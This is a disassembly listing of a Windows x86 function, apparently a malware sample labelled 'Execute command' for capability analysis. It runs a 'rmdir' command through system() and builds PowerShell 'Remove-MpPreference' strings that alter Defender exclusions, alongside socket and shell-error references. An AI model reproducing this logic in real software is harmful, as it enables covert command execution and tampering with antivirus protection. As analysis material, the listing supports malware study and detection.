Function at 0x40ee10
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e925
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
je 0x40ee96
cmp eax, 0x7fffffff
ja 0x40f3a6
push eax
mov ecx, esi
call fcn.00406090
mov edi, dword [esi]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
sub esi, eax
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x64]
call fcn.00406520
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x40eeb7
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x14]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x14]
jne 0x40eedd
push str.invalid_stoi_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
cmp dword [edi], 0x22
jne 0x40eeed
push str.stoi_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x50]
movzx eax, ax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x40ef2d
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ef23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ef23
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x426098
call fcn.004045d0
call fcn.00408630
add esp, 0x18
test al, al
je 0x40f114
xor edi, edi
nop
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x426098
call fcn.004045d0
mov ecx, esi
call fcn.004084d0
add esp, 0x18
call fcn.0041ad00
add esp, 0x18
cmp edi, 0x12c
jg 0x40f3b0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
inc edi
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x426098
call fcn.004045d0
mov ecx, esi
call fcn.004084d0
add esp, 0x18
call fcn.0041ab10
add esp, 0x18
test eax, eax
jne 0x40ef50
sub esp, 0x18
mov ecx, esp
push 0x426098
call fcn.004045d0
call fcn.00406270
mov ecx, esp
push 0x426098
call fcn.004045d0
lea ecx, [ebp - 0x64]
call fcn.004083d0
push eax
mov edx, str.rmdir__
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.00404ca0
add esp, 0x1c
push 0x42066c
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.004044d0
mov dword [ebp - 0x24], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x24], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x40f082
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f078
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f104
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0x10
jb 0x40f0c8
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f0be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f104
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp ecx, 0x10
jb 0x40f114
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f10a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f10a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov ecx, esp
push 0x426098
call fcn.004045d0
lea ecx, [ebp - 0x7c]
call fcn.004084d0
add esp, 0x18
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 4
mov ecx, closesocket
mov edx, dword [0x4260a8]
sub ecx, edx
cmp ecx, 0x24
jb 0x40f3ab
cmp dword [0x4260ac], 0x10
mov eax, 0x426098
push edx
cmovae eax, dword [0x426098]
push eax
push 0x24
push str.Remove_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x34]
call fcn.0040a6a0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
push 0x2a
push str.__Remove_MpPreference__ExclusionProcess_
cmp eax, 0x2a
jb 0x40f1b6
cmp edx, 0x10
lea esi, [ebp - 0x34]
lea eax, [ecx + 0x2a]
cmovae esi, dword [ebp - 0x34]
add esi, ecx
mov dword [ebp - 0x24], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x2a], 0
lea eax, [ebp - 0x34]
jmp 0x40f1c7
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x34]
push dword [ebp - 0x14]
push 0x2a
call fcn.004053b0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x54], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x18]
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 6
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x4c]
call fcn.0040a4c0
push 0x420b5c
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.004044d0
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00406620
mov byte [ebp - 4], 6
add esp, 0x18
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x40f285
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f27b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f33b
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp ecx, 0x10
jb 0x40f2cb
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f2c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f33b
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x10
jb 0x40f2ff
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f2f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f33b
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0x10
jb 0x40f34b
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f341
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f341
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
push dword [ebp - 0x1c]
call fcn.0040f3d0
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x40f389
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40f37f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f37f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0041c982
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c42c
mov esp, ebp
pop ebp
ret 0xc
call fcn.00405b00
call fcn.00401460
push str.SHOTDOW_SHELL_ERROR
lea ecx, [ebp - 0x28]
call fcn.00406110
push 0x424244
lea eax, [ebp - 0x28]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3